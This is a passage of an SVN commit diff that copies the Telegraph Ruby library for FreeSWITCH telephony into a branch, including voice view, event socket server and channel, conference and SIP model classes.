+         @elements = Array.new
+       end
+
+       def numeric_input(param, pars={})
+         @elements << {:type=>:get_dtmf, :sound=>pars[:sound], :param=>param, :timeout=>pars[:timeout] || 5000, :max_digits=>pars[:max_digits] || 7, :terminators=>pars[:terminators]}
+       end
+
+       def submit(args)
+         @elements << {:type=>'submit', :args=>args}
+       end
+
+       def record_input(label, filename, param, max_time=10, beep=true, silence_detect=10)
+         @elements << {:type=>'record_input',:label=>label, :filename=>filename,:param=>param, :max_time=>max_time, :beep=>beep, :silence_detect=>silence_detect}
+       end
+     end
+    class Interface
+      attr_accessor :controller
+      
+      def redirect_to(args)
+        create_redirect @controller.url_for(args.merge(:only_path=>true))
+      end
+      
+
+      # The following has not been updated/tested with FreeSWITCH.
+      # It should work with minor modifications for someone who needs the features
+      
+      
+      # def play(str)
+      #   str.split(' ').each {|e| say_element(e)}
+      # end
+      # 
+      def form (opts={})
+          form = Telegraph::VoiceView::Form.new
+          @params = {}
+          yield form
+        
+          for element in form.elements
+            build_form_element(element)
+          end
+        
+          url = opts[:url] || opts
+          url = @controller.url_for(args.merge(:only_path=>true)) unless url.is_a?(String)
+          method = opts[:method].to_s.upcase || "POST"
+          create_redirect url, method
+        end
+      # 
+      # def extract_hash(key, value)
+      #   split_key=key.split('[')
+      #   if split_key.size == 1 then
+      #     {key.to_sym => value}
+      #   else
+      #     {split_key[0].to_sym => {split_key[1].slice!(0..(split_key[1].size-2)).to_sym => value}}
+      #   end
+      # end
+      # 
+      # def nested_merge(original, added)
+      #    added.each{|key,value| 
+      #       if value.is_a?(Hash) && original[key] && original[key].is_a?(Hash)
+      #         original[key] = nested_merge original[key], value
+      #       else
+      #         original[key] = value
+      #       end   
+      #    }
+      #   original
+      # end
+      # 
+      # def link_to_dtmf(sound, args={}, &block)
+      #   @links = Array.new
+      # 
+      #   instance_eval &block
+      # 
+      #   return if @links.empty?
+      # 
+      #   max_digits = @links.max{|a, b| a[:link].to_s.to_i.to_s.length <=> b[:link].to_s.to_i.to_s.length}[:link].to_s.length
+      #   args[:timeout] ||= max_digits * 1500
+      # 
+      #   n= get_data full_sound_path(sound), args[:timeout], max_digits
+      # 
+      #   input = n.length == 0 ? 'no_response' :  n.to_s
+      # 
+      #   #find the matching link
+      #   @links.each do |link|
+      #     if link[:link].to_s == input
+      #       @request.create_redirect link
+      #       return
+      #     end
+      #   end
+      # 
+      #   #we got nothing
+      #   default = @links.detect{|l| l[:link] == :default}
+      #   @request.create_redirect default if @request.next_action.nil? and default
+      # end
+      # 
+      # def link(link, url)
+      #   url[:link] = link
+      #   @links  << url
+      # end
+      # 
+      # 
+      # def redirect_to(opts={})
+      #   @request.create_redirect opts
+      # end 
+      # 
+      # def say_datetime(time,escapeDigits=ALL_SPECIAL_DIGITS)
+      #   #calc the number of seconds elapsed since epoch (00:00:00 on January 1, 1970) 
+      #   diff = time.to_i
+      #   msg = "SAY DATETIME #{diff} #{escape_digit_string(escapeDigits)}"
+      #   send(msg)
+      #   return get_int_result()
+      # end
+      # 
+      # def say_element(item)
+      #   if item.match(/^Datetime:/) then
+      #     item.delete!('Datetime:')
+      #     say_datetime(item)
+      #   elsif item.to_i > 0 || item=='00'
+      #     say_number(item.to_i.to_s)
+      #   elsif item.to_f < 0 then
+      #     play_sound 'negative'
+      #     say_number(item.to_f.abs)
+      #   else
+      #     play_sound(full_sound_path(item))
+      #   end
+      # end
+      # 
+      # def build_form_element(element)
+      #   return get_data_element(element) if element[:type] == 'get_data'
+      #   return record_input_element(element) if element[:type] == 'record_input'
+      # end
+      # 
+      # def get_data_element(element)
+      #   num = get_data full_sound_path(element[:sound]), element[:timeout], element[:max_digits]
+      #   @params.merge!(extract_hash(element[:param], num))
+      # end
+      # 
+      # 
+      # def record_input_element(element)
+      #   play element[:label]
+      #   ret = record_file(Telegraph::Config::Globals["RECORDINGPATH"] + '/' + element[:filename], element[:max_time], element[:beep], element[:silence_detect])
+      # 
+      #   @params = nested_merge(@params, extract_hash(element[:param],element[:filename]))
+      #   #params.update(extract_hash(element[:param],element[:filename]))
+      # end
+      # 
+      # def output(filename)
+      #   play_sound full_sound_path(filename)
+      # end
+      # 
+      # def full_sound_path(filename)
+      # 
+      #   name =Telegraph::Config::Globals["SOUNDPATH"] + '/' + filename
+      #   if File.exists?(name + '.gsm') || File.exists?(name + '.sln')
+      #     name
+      #   else
+      #     filename
+      #   end
+      # end
+      
+    end
+  end
+end
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/request.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/request.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/voice_view/request.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/request.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/request.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,159 @@
+# Copyright (c) 2007 Jonathan Palley, Idapted Inc.
+# All rights reserved
+
+module Telegraph
+  module VoiceView
+    class Request < ActionController::AbstractRequest
+      attr_accessor :session_options, :path, :session, :env
+      attr_accessor :host, :interface, :next_action, :next_controller, :path
+    
+    #
+      def initialize(interface, cgi, query_parameters ={}, request_parameters = {}, session_opts = ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS)
+        @interface = interface      
+        @query_parameters   = query_parameters
+        @session_options            = session_opts
+        @redirect = false
+        @env = {}
+    
+        #these allow us to do redirects (or psuedo form submits)to other actions since we can't do a HTTP 302
+        @next_action             = nil
+        @next_controller         = nil
+        @redirect_parameters     = nil
+    
+    
+        @cgi = cgi
+        @host                    = "voice_view"
+        @request_uri             = "/"
+        @env['REQUEST_METHOD']   = @interface.params['http_method'] || "GET"
+
+        @path= @interface.url
+        @session_options['session_id'] = @interface.params['session_id']
+    
+        
+        super()
+      end
+      def sound?
+        true
+      end
+      def accepts
+        [Mime::Type.lookup_by_extension('voice')]
+      end
+      
+ 
+
+    #copies parameters from the agi request (in the call_connection object)
+    #if this is a redirect we add in the redict parameters
+    def request_parameters
+      @interface.params.dup
+    end
+    
+    def query_parameters
+      @redirect_parameters || {}
+    end
+    
+    def remote_ip
+      return '123.123.123.123'
+    end
+   
+    
+
+    def create_redirect(args)
+    
+      @next_action=args.delete(:action).to_s
+      @next_controller = args.delete(:controller).to_s.camelize + 'Controller' unless args[:controller].nil?
+      
+      @redirect_parameters = args
+      parameters
+    end
+
+     def remote_addr=(addr)
+      @env['REMOTE_ADDR'] = addr
+    end
+
+    def remote_addr
+      @env['REMOTE_ADDR']
+    end
+
+    def request_uri
+      @request_uri || super()
+    end
+
+    def path
+      @path || super()
+    end
+   
+
+    def session=(session)
+      @session = session
+      @session.update
+    end
+    
+    def session  
+      unless @session
+         if @session_options == false
+            @session = Hash.new
+        else
+          stale_session_check! do
+            
+            if session_options_with_string_keys['new_session'] == true
+              @session = new_session
+            else
+              @session = CGI::Session.new(@cgi, session_options_with_string_keys)
+            end
+            session['__valid_session']
+          end
+        end
+      end
+      @session
+    end
+
+    def reset_session
+      @session.delete if CGI::Session === @session
+      @session = new_session
+    end
+
+    def method_missing(method_id, *arguments)
+      @cgi.send(method_id, *arguments) rescue super
+    end
+    
+    def logger=(logger)
+      @logger=logger
+    end
+    
+    def logger
+      @logger
+    end
+    
+    private
+      # Delete an old session if it exists then create a new one.
+      def new_session
+        if @session_options == false
+          Hash.new
+        else
+          CGI::Session.new(@cgi, session_options_with_string_keys.merge("new_session" => false)).delete rescue nil
+          CGI::Session.new(@cgi, session_options_with_string_keys.merge("new_session" => true))
+        end
+      end
+          def stale_session_check!
+        yield
+      rescue ArgumentError => argument_error
+        if argument_error.message =~ %r{undefined class/module (\w+)}
+          begin
+            Module.const_missing($1)
+          rescue LoadError, NameError => const_error
+            raise ActionController::SessionRestoreError, "Session contains objects whose class definition isn\'t available. Remember to require the classes for all objects kept in the session. (Original exception: #{const_error.message} [#{const_error.class}])"
+          end
+
+          retry
+        else
+          raise
+        end
+      end
+
+      def session_options_with_string_keys
+        @session_options_with_string_keys ||= ActionController::CgiRequest::DEFAULT_SESSION_OPTIONS.merge(@session_options).inject({}) { |options, (k,v)| options[k.to_s] = v; options }
+      end
+  end
+  
+end
+end

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/response.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/response.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/voice_view/response.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/response.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/response.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,20 @@
+module Telegraph
+  module VoiceView
+    class Response < ActionController::AbstractResponse
+      attr_accessor :interface
+      
+      def initialize(interface)
+        @interface = interface
+        @commands = []
+        super()
+      end
+      
+      def out(output)
+      end
+      
+      def commands
+        @interface.commands
+      end
+    end
+  end
+end
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/template.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/template.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/core/voice_view/template.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/template.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/core/voice_view/template.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,43 @@
+# :stopdoc:
+# This file makes Haml work with Rails
+# using the > 2.0.1 template handler API.
+
+module Telegraph
+  module VoiceView
+    
+  class Template
+    include ActionView::TemplateHandlers::Compilable if defined?(ActionView::TemplateHandlers::Compilable)
+
+    def self.line_offset
+      1
+    end
+
+    def compilable?
+      true
+    end
+ 
+    def line_offset
+      self.class.line_offset
+    end
+
+    def initialize(view)
+      @view = view
+    end
+
+    def compile(template)
+      #options = Haml::Template.options.dup
+      puts "COMPILE"
+      puts template
+      
+      "controller.render_voice do |voice|\n #{template.source}\n end"
+#      Haml::Engine.new(template, options).send(:precompiled_with_ambles, [])
+    end
+   
+    def read_template_file(template_path, extension)
+      File.read(template_path)
+    end
+  end
+end
+end
+
+ActionView::Template.register_template_handler(:freeswitch, Telegraph::VoiceView::Template)

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/freeswitch)

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_events_server.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_events_server.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_events_server.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_events_server.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_events_server.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,166 @@
+Dir[File.join(RAILS_ROOT, "app/voice_events/**")].each do |f|
+  require f
+end
+
+module Telegraph
+  module FreeSWITCH
+    class VoiceEventsServer < EventMachine::Connection
+
+      def initialize *args
+
+        @received_buffer = ''
+        @last_command = nil
+        @closing = false
+        @routes = Telegraph::Core::Router.new
+        VoiceEventsRouter.route(@routes)
+        super
+      end
+      
+      def set_modes(verbose, debug)
+        Telegraph.log "Turning on Debug Mode" if  @debug = debug
+        Telegraph.log "Turning on Verbose Mode" if @verbose = verbose
+      end
+      
+        
+      def receive_data(data)
+        # IMPORTANT: There is no gauruntee where data starts/ends
+        # We must make sure we buffer correctly
+        @received_buffer << data
+
+        Telegraph.log "Recieved:\n#{data}" if @verbose
+        #Return unless we have a complete event
+        process_event
+        
+     
+          
+        while @received_buffer =~  /Content-Type:\s([\w\/]+)/
+          content_type = $1
+          after_buffer = $'
+          
+          #Is this an authorizatin reqest?
+          if content_type == 'auth/request'
+            @received_buffer = after_buffer
+            send_command "auth ClueCon"
+            
+          #Reply to Authorization request?
+          elsif content_type == 'command/reply'
+            @received_buffer = ''
+            if after_buffer.include?('Reply-Text: +OK accepted')
+             send_command "event plain #{subscribed_events}"
+            end
+              
+          #Everything else
+          else
+            #Search for content-length/content-type tags and extra the values
+            while @received_buffer =~ /Content-Length:\s(\d+)\nContent-Type:\s([\w\/\-]+)/
+              content_type = $2
+              @next_event_size = $1.to_i
+              
+              @received_buffer = $'.gsub(/\A\s+/, '') #Remove leading whitespaces. 
+              
+              process_event
+            end
+          end
+        end
+          
+      end
+      
+      def process_event
+        if @next_event_size and @received_buffer and @received_buffer.size >= @next_event_size
+            @event_data = @received_buffer[0..(@next_event_size-1)]
+            @recieved_buffer = @received_buffer[@next_event_size..(@received_buffer.size-1)]
+            @next_event_size = nil
+
+            #Split at content length
+            data = @event_data.split(/Content-Length:\s(\d+)\n\n/)
+            
+           headers = Hash.new
+            data[0].split("\n").each do |line| 
+              unless line.empty?
+                k, v = line.split(': ')
+                headers[k.gsub('-', '_').downcase.to_sym] = URI.decode(v) if k and v
+              end
+            end
+            
+            headers[:content] = data[2] if data[2]
+
+            event_name = headers[:event_name].downcase
+             event_name = "custom_" + headers[:event_subclass].gsub('::', '_') if headers[:event_name] == "CUSTOM"
+            begin
+               return unless VoiceEventsRouter.filter(headers)
+               Telegraph.log "CALLING: #{event_name}"
+               @routes.dispatch!(event_name.to_sym, headers)
+               # @voice_events.params = headers
+               # @voice_events.send(event_name.to_sym)
+             rescue ActiveRecord::StatementInvalid => e
+               #If not used for a while we will lose AR Connection
+               Telegraph.log "Lost AR Connection .... "
+               ActiveRecord::Base.connection.reconnect!
+               unless @ar_reconnect_retried
+                 Telegraph.log "Reconnecting to AR..."
+                 @ar_reconnected_retried = true
+                 retry
+               end
+               raise
+             rescue Exception => e
+               Telegraph.log "Error in sending event: #{headers[:event_name]}"
+               Telegraph.log e.inspect
+               Telegraph.log e.backtrace
+             else  
+              @ar_reconnected_retried = false
+             
+             end
+          
+        end
+      end
+      def unbind
+        return if @closing
+        
+        Telegraph.log "UNBIND!"
+
+        begin
+          sleep 10
+          Telegraph.log "Attempting to reconnect..."
+          config = Telegraph.config
+          reconnect config['server'], config['events']['port']
+        rescue SystemExit => e
+          Telegraph.log "system exit"
+          exit
+        rescue Exception => e
+          Telegraph.log "Error in reconnecting..."
+          Telegraph.log e.inspect
+
+          retry
+        end
+        
+      end
+      
+      protected
+      def subscribed_events
+        return "all" if @debug
+
+        custom_events = []
+        normal_events = []
+
+        @routes.used_events.each do |e|
+          e = e.downcase
+          if e =~ /custom\_/ then
+            custom_events << $'.gsub('_', '::')
+          else
+            normal_events << e.upcase
+          end
+        end
+        
+        meths = normal_events.join(' ')
+        meths << " CUSTOM #{custom_events.join(' ')}"
+        Telegraph.log "Subscribe to: #{meths}"
+        return meths
+      end
+      
+      def send_command(str)
+        @last_command = str
+        send_data(str + "\n\n")
+      end
+    end
+  end
+end
\ No newline at end of file

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model)

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_channel_model.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_channel_model.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_channel_model.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_channel_model.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_channel_model.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,154 @@
+module Telegraph
+  module FreeSWITCH
+    class VoiceChannelModel
+      attr_accessor :exists
+      attr_accessor :last_error
+      attr_accessor :job_uuid
+      attr_accessor :uuid
+      
+      @uuid = nil
+      @params = nil
+      @@connector = nil
+      @exists = nil
+      @last_error = nil
+      def initialize(params={})
+        @params = params.with_indifferent_access
+        @uuid = params[:uuid]
+        @job_uuid = params[:job_uuid]
+        @@connector ||= params[:connector] || VoiceConnector.new
+        @valid=true
+      end
+
+      %w{park hold}.each do |command|
+        class_eval <<-END
+          def #{command}()
+            puts @@connector.send_command("uuid_#{command}",@uuid)
+          end
+        END
+      end
+
+      def destroy
+        puts @@connector.send_command("uuid_kill", @uuid)
+      end
+
+      def invalidate
+        @valid = false
+      end
+      
+      def valid?
+        @valid
+      end
+
+      def start_recording(filename)
+         @@connector.send_command('uuid_record', "#{@uuid} start #{filename}")
+        
+      end
+      def stop_recording(filename)
+         @@connector.send_command('uuid_record', "#{@uuid} stop #{filename}")
+      end
+      
+      def inline_transfer(apps)
+         @@connector.send_command('uuid_transfer', "#{uuid} #{apps} inline")
+      end
+      
+      def dump
+        begin
+          
+          dump=@@connector.send_command('uuid_dump', @uuid)
+        
+          result = {}
+          dump.split("\n").each do |line|
+            l = line.split(': ')
+            result[l[0].gsub('-', '_').downcase] = result[l[1]]
+          end
+          return result
+       rescue Exception => e
+        return nil
+       end
+      end
+      
+      def method_missing(method, *args)
+        if @params[method]
+          return @params[method]
+        else
+          properties = self.dump
+          properties[method] ? properties[method] : properties["channel_#{method}"]
+        end
+      end
+      
+
+      def self.humanize_error_code(status)
+        case status
+        when /NO_ROUTE_DESTINATION|CHAN_NOT_IMPLEMENTED/
+          "Invalid Number.  Perhaps the user is not logged in?"
+        when /NO_USER_RESPONSE|ORIGINATOR_CANCEL/
+          "The phone was not answered."
+        when /USER_BUSY/
+          "The number is busy now.  Please try again later."
+        when /INVALID_NUMBER_FORMAT/
+          "The number is not a valid format.  Please enter another number and try again."
+        else
+          status 
+        end
+      end
+      
+      def self.find(meth, *args)
+        voice_connector = @@connector || VoiceConnector.new
+        if meth == :all
+          channels_csv = voice_connector.show(:channels)
+          if args.empty?
+
+            return channels_csv.map{|c| VoiceChannelModel.new(c)}
+          end
+        else
+          klass = self.new(:uuid=>meth)
+          if klass.dump
+            return klass
+          else
+            return nil
+          end
+        end
+      end
+    
+      def self.create(opts={})
+        voice_connector = @@connector || VoiceConnector.new
+        
+        destination = opts[:destination]
+        cid_name = opts[:cid_name] || 'idapted'
+        cid_number = opts[:cid_number] || '000'
+        variables = opts[:vars] || {}
+        variables[:origination_caller_id_name] = cid_name
+        variables[:origination_caller_id_number] = cid_number
+        variables[:ignore_early_media] = "true"
+#        variables[:system_domain] = SiteConfig['global']['domain']
+        variables = variables.map{|k,v| "#{k}=#{v}"}.join(',')
+
+        if callback = opts[:callback]
+          #port = opts[:port] || '8084'
+          #Remove http://blah/ if it exists
+          callback.gsub!(/http:\/\/[\d\w\.:]+\//, '')
+          callback.gsub!(/^\//, '')
+#          name_prefix = SiteConfig ? "#{SiteConfig['global']['domain']}_" : ''
+          name_prefix = ''
+          params = "&socket(${rails_#{name_prefix}server}/#{callback} async full)"
+        else
+          params = opts[:params]
+        end
+        
+        begin
+          command = "originate {#{variables}}#{destination} #{params}"
+          job = voice_connector.send_command('bgapi', command)
+          job_uuid = job.gsub('Job-UUID: ', '').gsub("\n", '')
+          return self.new :job_uuid=>job_uuid, :connector=>voice_connector
+        rescue Exception => e
+
+          mdl = self.new
+          mdl.last_error = e.message
+          mdl.invalidate
+          return mdl
+        end
+      end
+    end
+    
+  end
+end
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_conference_model.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_conference_model.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_conference_model.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_conference_model.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_conference_model.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,101 @@
+module Telegraph
+  module FreeSWITCH
+    class VoiceConferenceModel
+      attr_accessor :name
+      attr_accessor :members
+      @name = nil
+      @members = nil
+      @@connector = nil
+      def initialize(name, members_data)
+        return nil if members_data =~ /not found/
+        @name = name
+        @@connector ||= VoiceConnector.new
+        @members = VoiceConferenceMemberCollection.new
+        members_data.split("\n").each do |member_data|
+          @members << VoiceConferenceMember.new(member_data, name, @@connector)
+        end
+      end
+      
+      def start_recording(filename)
+        @@connector.send_command('conference', "#{@name} record #{filename}")
+      end
+
+      def stop_recording(filename)
+        @@connector.send_command('conference', "#{@name} norecord #{filename}")
+      end
+      
+      def self.find(id)
+         @@connector ||= VoiceConnector.new
+
+        if id == :all
+          data = @@connector.send_command('conference', 'list')
+          #TODO: Deal with no conference
+          conferences_data = data.split(/Conference\s([\d\w]+)\s[\w\s\d\(]+\)\n/)
+          conferences_data = conferences_data[1..conferences_data.size-1] #Pop off first one..its useless
+          conferences = []
+          while not conferences_data.empty?
+            members = conferences_data.pop
+            name = conferences_data.pop
+            conferences << self.new(name, members)
+          end
+          return conferences
+        else
+          data = @@connector.send_command('conference', "#{id} list")
+          return nil if data =~ /not found/
+          return self.new(id, data)
+      end
+      end
+    end
+    
+    class VoiceConferenceMemberCollection < Array
+      def find(id)
+        self.detect{|o| o.id.to_s == id.to_s}
+      end
+    end
+    class VoiceConferenceMember
+      attr_accessor :id, :channel, :uuid, :deaf, :mute, :volume_in, :volume_out, :energy, :conf_name
+      
+      def initialize(data, conf_name, voice_connector)
+        data = data.split(';')
+        @id = data[0]
+        @channel = data[1]
+        @uuid = data[2]
+        @mute = !(data[5] =~ /speak/) and true
+        @deaf = !(data[5] =~ /hear/) and true
+        @volume_in = data[6]
+        @volume_out = data[7]
+        @energy = data[8]
+        @conf_name = conf_name
+        @connector = voice_connector
+      end
+      
+      def mute?
+        @mute
+      end
+      
+      def deaf?
+        @deaf
+      end
+      
+      def update_attributes(params)
+
+        params.each do |k,v|
+          if [:mute, :deaf].include?(k.to_sym)
+            tru = (v and not v == "0")
+            prefix = tru ? '' : 'un'
+            unless tru == self.send(k.to_sym)
+              if @connector.send_command('conference', "#{conf_name} #{prefix}#{k.to_s} #{id}")
+                self.send("#{k.to_s}=".to_sym, v)
+              end
+            end
+          elsif [:volume_in, :volume_out, :energy].include?(k.to_sym)
+            if @connector.send_command('conference', "#{conf_name} #{k.to_s} #{id} #{v}")
+              self.send("#{k}=", v)
+            end
+          end
+        end
+      end
+            
+    end
+  end
+end
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_connector.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_connector.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_connector.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_connector.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_connector.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,98 @@
+require 'xmlrpc/client'
+require 'xmlrpc/marshal'
+require 'pp'
+
+
+module Telegraph
+  module FreeSWITCH 
+  class VoiceModelFunctionError < StandardError; end
+  class VoiceModelResponseError < StandardError; end
+  
+  
+
+  
+  class VoiceConnector
+    SHOW_COMMANDS = %w{codec application api dialplan file timer calls channels}
+    @@connection = nil
+    @@connection_options = nil
+    
+    def self.connect!(opts)
+      Telegraph::FreeSWITCH::VoiceModel.new.connect(opts)
+    end
+    
+    def self.load_configuration_and_connect!
+      config = Telegraph.config
+      Telegraph::FreeSWITCH::VoiceConnector.new.connect!(:server=>config['server'], :port=>config['model']['port'], :username=>config['model']['username'], :password=>config['model']['password'], :timeout=>10)
+    end
+    
+    def connect!(opts={})
+      #   opts[:timeout] =|| 10
+      @@connection_options = opts
+    
+      @@connection = XMLRPC::Client.new(@@connection_options[:server], '/RPC2', @@connection_options[:port], nil, nil, @@connection_options[:username], @@connection_options[:password], nil, @@connection_options[:timeout])
+    end
+  
+    def show(command, options='')
+      return parse_csv_result(send_command('show', "#{command} #{options}"))
+    end
+    
+    def method_missing(meth, *args)
+      send_command(meth.to_s, args.join(' '))
+    end
+    
+    def self.find(command, options='')
+      voice_model = Telegraph::FreeSWITCH::VoiceModel.new
+      if SHOW_COMMANDS.include?(command.to_s)
+        result = voice_model.send_command('show', "#{command} #{options}")
+        return voice_model.parse_csv_result(result)
+      end
+      
+    end
+    
+        
+        
+    
+    def parse_csv_result(result)
+      name_array = []
+      return_array = []
+      result.split("\n").each do |line|
+        if line =~ /Content-Type/ or line.empty? or line =~ /\d+ total\./
+          #Do nothing
+        elsif name_array.empty?
+          name_array = line.split(',')
+        else
+          item = Hash.new
+          line.split(',').each_with_index{|v,i| item[name_array[i].to_sym]=v}
+          return_array << item
+        end
+      end
+      
+      return return_array
+    end
+          
+    def send_command(command, options='')
+      result = @@connection.call("freeswitch.api", command, options)
+      #Parse results
+      if result =~ /ERROR/
+        raise VoiceModelFunctionError, "Invalid Command"                              
+      elsif result =~ /^-ERR/
+        raise VoiceModelResponseError, result.gsub('-ERR', '')
+      else
+        return (result.gsub('+OK ', '') || true)
+      end 
+    end
+  end
+end
+end
+
+# puts 'start'
+# v = Telegraph::FreeSWITCH::VoiceConnector.new
+# puts 'v'
+# v.connect!(:server=>'192.168.1.10', :port=>8080, :username=>'freeswitch', :password=>"works")
+# puts '2'
+# channels = Telegraph::FreeSWITCH::VoiceChannelModel.find(:all)
+# pp channels
+# 
+# channels.first.destroy
+# 
+# puts '4'
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_sip_model.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_sip_model.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_sip_model.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_sip_model.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_model/voice_sip_model.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,80 @@
+module Telegraph
+  module FreeSWITCH
+    class VoiceSipModel
+      attr_accessor :profile
+      attr_accessor :gateway
+      attr_accessor :params
+      def initialize(connector = nil)
+        @@connector = @@connector || connector || VoiceConnector.new
+        @params = {}
+      end
+      
+      def self.find_by_gateway(gateway)
+        klass = self.new
+        klass.gateway = gateway
+        klass.profile = nil
+        klass
+      end
+      
+      def self.find_by_profile(profile)
+        klass = self.new
+        klass.profile = profile
+        klass.gateway = nil
+        klass
+      end
+      
+      def self.find_by_username(username, profile="default")
+          registrations = self.find_all
+          registrations.detect{|r| r.params[:user] =~ /^#{username}\@/}
+      end
+      
+      def self.find_all(profile="default")
+        @@connector ||=VoiceConnector.new
+        @@data_cache ||= Hash.new
+        if @@data_cache[:set_at].nil? or @@data_cache[:set_at] < 3.second.ago.utc
+          data = @@connector.send_command("sofia", "status profile #{profile}")
+          @@data_cache[:data] = data
+          @@data_cache[:set_at] = Time.now.utc
+        else
+          data = @@data_cache[:data]
+        end
+        
+        registrations = data.split("Registrations:\n")[1]
+        registrations = registrations.split("\n\n")
+        registrations = registrations.find_all{|r| r.split("\n").size > 2} 
+        registrations = registrations.map do |r| 
+          klass = self.new
+          klass.profile = profile
+          regs = r.split("\n")
+          regs.each do |p|
+            p = p.split(" \t")
+            klass.params[p[0].gsub(' ', '').downcase.gsub('-', '_').to_sym] = p[1] if p.size > 1
+          end
+          klass
+        end
+        return registrations
+      end
+      
+      def flush
+        re= @@connector.send_command("sofia", "profile #{profile} flush_inbound_reg #{@params[:call_id]}")
+        @params = {} if re=~ /OK/
+      end
+      
+      def restart_and_reload
+        @@connector.send_command("sofia", "profile #{profile} restart all reloadxml")
+      end
+      
+      def status
+        if @gateway
+          @@connector.send_command("sofia", "status gateway #{@gateway}")
+        else
+          @@connector.send_command("sofia", "status profile #{profile}")
+        end
+      end
+    end
+  end
+end
+        
+      
+      
+      
\ No newline at end of file

Deleted: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_view_interface.rb

Copied: freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_view_interface.rb (from rev 14471, freeswitch/trunk/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_view_interface.rb) (0 => 14472)


--- freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_view_interface.rb	                        (rev 0)
+++ freeswitch/branches/seven/contrib/jpalley/telegraph/trunk/lib/freeswitch/voice_view_interface.rb	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,127 @@
